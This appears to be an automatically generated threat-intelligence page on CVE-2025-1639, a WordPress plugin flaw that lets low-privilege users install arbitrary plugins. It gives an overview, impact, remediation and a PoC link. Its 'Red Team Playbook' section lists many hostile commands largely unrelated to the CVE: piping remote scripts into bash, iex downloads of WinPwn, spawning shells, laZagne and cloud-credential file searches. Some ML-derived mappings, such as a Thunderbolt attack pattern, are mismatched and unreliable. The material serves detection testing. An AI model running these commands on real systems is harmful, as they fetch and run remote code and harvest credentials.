CVE-2025-1639
Overview
This vulnerability is an authorization bypass due to a missing capability check in the install_elementor_plugin_handler() function of the crowdyTheme Animation Addons for Elementor Pro WordPress plugin. The flaw resides in the plugin's plugin installation handler, which fails to verify user privileges properly. This affects all versions up to and including 1.6 of the plugin, specifically within the plugin installation workflow component.
Vulnerability Description
The Animation Addons for Elementor Pro plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_elementor_plugin_handler() function in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate arbitrary plugins which can be leveraged to further infect a victim when Elementor is not activated on a vulnerable site.
Impact
An attacker with at least Subscriber-level authentication can install and activate arbitrary WordPress plugins on the target site, enabling further malicious actions such as persistent backdoors or privilege escalation. This bypass of access controls can lead to full site compromise, data exfiltration, or service disruption. The attack requires authentication but no user interaction beyond valid login credentials. According to the CVSS vector, the vulnerability has high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) with low attack complexity and no user interaction required.
Solution
Users should upgrade the Animation Addons for Elementor Pro plugin to version 1.7 or later, where the missing capability check in install_elementor_plugin_handler() has been addressed. Detailed patch information and update instructions are available from Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/fb310bdb-fc74-47b2-9371-3d10abd287fb. No vendor advisory ID is specified, but the ThemeForest listing for the plugin confirms the update availability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Animation Addons for Elementor Pro plugin for WordPress arises from a critical oversight in the access control mechanisms. Specifically, the function responsible for handling plugin installations lacks the necessary capability checks. This absence allows authenticated users with minimal permissions, such as those with Subscriber-level access, to install and activate arbitrary plugins. Such a flaw undermines the integrity of the WordPress environment, as it permits unauthorized modifications to the site’s functionality and security posture.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who has gained access to the WordPress dashboard with at least Subscriber privileges, can leverage the flawed function to install malicious plugins. Once these plugins are activated, they can execute a range of harmful actions, including data exfiltration, site defacement, or the deployment of further malware. Additionally, if Elementor is not activated on the site, the attacker can still exploit the vulnerability to establish a foothold, potentially leading to a more extensive compromise of the WordPress instance or the underlying server.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. The ability for unauthorized users to install plugins can lead to severe business risks, including data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the installation of malicious plugins can result in downtime, which directly affects revenue and brand reputation. Organizations that fail to address this vulnerability may find themselves at the mercy of attackers who can exploit the situation for financial gain or to disrupt operations.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular audits of installed plugins and user roles can help identify any unauthorized changes or suspicious activity. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the WordPress application. Furthermore, keeping all plugins and themes up to date is crucial, as updates often contain security patches that address known vulnerabilities. Educating users about the importance of strong password practices and the principle of least privilege can also reduce the likelihood of exploitation.
In conclusion, the vulnerability within the Animation Addons for Elementor Pro plugin represents a serious threat to WordPress installations. The lack of proper capability checks allows authenticated attackers to exploit the system, leading to potential data breaches and significant business risks. Organizations must prioritize the detection and mitigation of such vulnerabilities through proactive security measures, ensuring that their WordPress environments remain secure against unauthorized access and exploitation. By adopting a comprehensive security strategy, businesses can protect their digital assets and maintain the trust of their customers.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-1639, rising by over 15% to a current value that places it near the 94th percentile. This upward adjustment reflects growing confidence in the exploitability of the vulnerability, corroborated by the recent availability of proof-of-concept code on public repositories. While the short-term trend remains stable without rapid escalation, the elevated EPSS score signals heightened likelihood of exploitation attempts in the wild. For defenders, this development underscores an increased risk that adversaries, including opportunistic attackers with low-level authenticated access, may leverage this vulnerability to deploy arbitrary plugins and potentially establish persistent footholds. Consequently, the threat level associated with CVE-2025-1639 should be considered elevated, warranting closer monitoring and prioritization within vulnerability management workflows.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Crowdytheme | Arolax | All |
cpe:2.3:a:crowdytheme:arolax:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-1639
Animation Addons for Elementor Pro <= 1.6 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Instal...
|
Nxploited | 0 | 0 | 2025-03-13 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-1639 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/fb310bdb-fc74-47b2-9371-3d10abd287fb?source=cve |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/item/arolax-creative-digital-agency-theme/53547630 |